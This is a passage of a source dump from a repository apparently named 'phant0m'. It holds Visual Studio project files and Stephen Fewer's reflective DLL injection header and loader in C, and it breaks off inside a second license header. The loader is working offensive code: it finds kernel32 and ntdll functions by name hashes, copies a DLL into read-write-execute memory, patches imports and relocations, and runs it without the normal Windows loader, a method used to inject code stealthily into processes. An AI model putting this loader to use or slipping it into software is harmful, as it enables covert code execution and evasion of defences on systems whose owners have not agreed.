| 114 | 115 | 116 | Level3 117 | true 118 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 119 | true 120 | 121 | 122 | Console 123 | true 124 | 125 | 126 | 127 | 128 | Level3 129 | true 130 | true 131 | true 132 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 133 | true 134 | MultiThreaded 135 | 136 | 137 | Console 138 | true 139 | true 140 | false 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | -------------------------------------------------------------------------------- /phant0m/phant0m-exe/phant0m-exe.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | -------------------------------------------------------------------------------- /phant0m/phant0m-exe/phant0m-exe.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /phant0m/phant0m-rdll/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); 45 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// -------------------------------------------------------------------------------- /phant0m/phant0m-rdll/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while (TRUE) 90 | { 91 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #ifdef WIN_X64 111 | uiBaseAddress = __readgsqword(0x60); 112 | #else 113 | #ifdef WIN_X86 114 | uiBaseAddress = __readfsdword(0x30); 115 | #else WIN_ARM 116 | uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); 117 | #endif 118 | #endif 119 | 120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 122 | 123 | // get the first entry of the InMemoryOrder module list 124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 125 | while (uiValueA) 126 | { 127 | // get pointer to current modules name (unicode string) 128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | // clear uiValueC which will store the hash of the module name 132 | uiValueC = 0; 133 | 134 | // compute the hash of the module name... 135 | do 136 | { 137 | uiValueC = ror((DWORD)uiValueC); 138 | // normalize to uppercase if the madule name is in lowercase 139 | if (*((BYTE*)uiValueB) >= 'a') 140 | uiValueC += *((BYTE*)uiValueB) - 0x20; 141 | else 142 | uiValueC += *((BYTE*)uiValueB); 143 | uiValueB++; 144 | } while (--usCounter); 145 | 146 | // compare the hash with that of kernel32.dll 147 | if ((DWORD)uiValueC == KERNEL32DLL_HASH) 148 | { 149 | // get this modules base address 150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 151 | 152 | // get the VA of the modules NT Header 153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 154 | 155 | // uiNameArray = the address of the modules export directory entry 156 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 157 | 158 | // get the VA of the export directory 159 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 160 | 161 | // get the VA for the array of name pointers 162 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 163 | 164 | // get the VA for the array of name ordinals 165 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 166 | 167 | usCounter = 3; 168 | 169 | // loop while we still have imports to find 170 | while (usCounter > 0) 171 | { 172 | // compute the hash values for this function name 173 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); 174 | 175 | // if we have found a function we want we get its virtual address 176 | if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) 177 | { 178 | // get the VA for the array of addresses 179 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 180 | 181 | // use this functions name ordinal as an index into the array of name pointers 182 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 183 | 184 | // store this functions VA 185 | if (dwHashValue == LOADLIBRARYA_HASH) 186 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); 187 | else if (dwHashValue == GETPROCADDRESS_HASH) 188 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); 189 | else if (dwHashValue == VIRTUALALLOC_HASH) 190 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); 191 | 192 | // decrement our counter 193 | usCounter--; 194 | } 195 | 196 | // get the next exported function name 197 | uiNameArray += sizeof(DWORD); 198 | 199 | // get the next exported function name ordinal 200 | uiNameOrdinals += sizeof(WORD); 201 | } 202 | } 203 | else if ((DWORD)uiValueC == NTDLLDLL_HASH) 204 | { 205 | // get this modules base address 206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 207 | 208 | // get the VA of the modules NT Header 209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 210 | 211 | // uiNameArray = the address of the modules export directory entry 212 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 213 | 214 | // get the VA of the export directory 215 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 216 | 217 | // get the VA for the array of name pointers 218 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 219 | 220 | // get the VA for the array of name ordinals 221 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 222 | 223 | usCounter = 1; 224 | 225 | // loop while we still have imports to find 226 | while (usCounter > 0) 227 | { 228 | // compute the hash values for this function name 229 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); 230 | 231 | // if we have found a function we want we get its virtual address 232 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 233 | { 234 | // get the VA for the array of addresses 235 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 236 | 237 | // use this functions name ordinal as an index into the array of name pointers 238 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 239 | 240 | // store this functions VA 241 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); 243 | 244 | // decrement our counter 245 | usCounter--; 246 | } 247 | 248 | // get the next exported function name 249 | uiNameArray += sizeof(DWORD); 250 | 251 | // get the next exported function name ordinal 252 | uiNameOrdinals += sizeof(WORD); 253 | } 254 | } 255 | 256 | // we stop searching when we have found everything we need. 257 | if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) 258 | break; 259 | 260 | // get the next entry 261 | uiValueA = DEREF(uiValueA); 262 | } 263 | 264 | // STEP 2: load our image into a new permanent location in memory... 265 | 266 | // get the VA of the NT Header for the PE to be loaded 267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 268 | 269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while (uiValueA--) 279 | *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; 280 | 281 | // STEP 3: load in all of our sections... 282 | 283 | // uiValueA = the VA of the first section 284 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); 285 | 286 | // itterate through all sections, loading them into memory. 287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 288 | while (uiValueE--) 289 | { 290 | // uiValueB is the VA for this section 291 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); 292 | 293 | // uiValueC if the VA for this sections data 294 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); 295 | 296 | // copy the section over 297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 298 | 299 | while (uiValueD--) 300 | *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; 301 | 302 | // get the VA of the next section 303 | uiValueA += sizeof(IMAGE_SECTION_HEADER); 304 | } 305 | 306 | // STEP 4: process our images import table... 307 | 308 | // uiValueB = the address of the import directory 309 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 310 | 311 | // we assume their is an import table to process 312 | // uiValueC is the first entry in the import table 313 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 314 | 315 | // itterate through all imports 316 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) 317 | { 318 | // use LoadLibraryA to load the imported module into memory 319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); 320 | 321 | // uiValueD = VA of the OriginalFirstThunk 322 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); 323 | 324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 325 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); 326 | 327 | // itterate through all imported functions, importing by ordinal if no name present 328 | while (DEREF(uiValueA)) 329 | { 330 | // sanity check uiValueD as some compilers only import by FirstThunk 331 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) 332 | { 333 | // get the VA of the modules NT Header 334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 335 | 336 | // uiNameArray = the address of the modules export directory entry 337 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 338 | 339 | // get the VA of the export directory 340 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 341 | 342 | // get the VA for the array of addresses 343 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 344 | 345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 346 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); 347 | 348 | // patch in the address for this imported function 349 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); 350 | } 351 | else 352 | { 353 | // get the VA of this functions import by name struct 354 | uiValueB = (uiBaseAddress + DEREF(uiValueA)); 355 | 356 | // use GetProcAddress and patch in the address for this imported function 357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); 358 | } 359 | // get the next imported function 360 | uiValueA += sizeof(ULONG_PTR); 361 | if (uiValueD) 362 | uiValueD += sizeof(ULONG_PTR); 363 | } 364 | 365 | // get the next import 366 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); 367 | } 368 | 369 | // STEP 5: process all of our images relocations... 370 | 371 | // calculate the base address delta and perform relocations (even if we load at desired image base) 372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 373 | 374 | // uiValueB = the address of the relocation directory 375 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 376 | 377 | // check if their are any relocations present 378 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) 379 | { 380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 381 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 382 | 383 | // and we itterate through all entries... 384 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) 385 | { 386 | // uiValueA = the VA for this relocation block 387 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); 388 | 389 | // uiValueB = number of entries in this relocation block 390 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); 391 | 392 | // uiValueD is now the first entry in the current relocation block 393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 394 | 395 | // we itterate through all the entries in the current block... 396 | while (uiValueB--) 397 | { 398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 399 | // we dont use a switch statement to avoid the compiler building a jump table 400 | // which would not be very position independent! 401 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) 402 | *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 403 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) 404 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 405 | #ifdef WIN_ARM 406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 407 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) 408 | { 409 | register DWORD dwInstruction; 410 | register DWORD dwAddress; 411 | register WORD wImm; 412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 413 | dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); 414 | // flip the words to get the instruction as expected 415 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 416 | // sanity chack we are processing a MOV instruction... 417 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) 418 | { 419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 420 | wImm = (WORD)(dwInstruction & 0x000000FF); 421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 424 | // apply the relocation to the target address 425 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; 426 | // now create a new instruction with the same opcode and register param. 427 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); 428 | // patch in the relocated address... 429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 433 | // now flip the instructions words and patch back into the code... 434 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 435 | } 436 | } 437 | #endif 438 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) 439 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 440 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) 441 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 442 | 443 | // get the next entry in the current relocation block 444 | uiValueD += sizeof(IMAGE_RELOC); 445 | } 446 | 447 | // get the next entry in the relocation directory 448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 449 | } 450 | } 451 | 452 | // STEP 6: call our images entry point 453 | 454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 455 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); 456 | 457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 458 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0); 459 | 460 | // call our respective entry point, fudging our hInstance value 461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 463 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); 464 | #else 465 | // if we are injecting an DLL via a stub we call DllMain with no parameter 466 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); 467 | #endif 468 | 469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 470 | return uiValueA; 471 | } 472 | //===============================================================================================// 473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 474 | 475 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) 476 | { 477 | BOOL bReturnValue = TRUE; 478 | switch (dwReason) 479 | { 480 | case DLL_QUERY_HMODULE: 481 | if (lpReserved != NULL) 482 | *(HMODULE*)lpReserved = hAppInstance; 483 | break; 484 | case DLL_PROCESS_ATTACH: 485 | hAppInstance = hinstDLL; 486 | break; 487 | case DLL_PROCESS_DETACH: 488 | case DLL_THREAD_ATTACH: 489 | case DLL_THREAD_DETACH: 490 | break; 491 | } 492 | return bReturnValue; 493 | } 494 | 495 | #endif 496 | //===============================================================================================// -------------------------------------------------------------------------------- /phant0m/phant0m-rdll/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 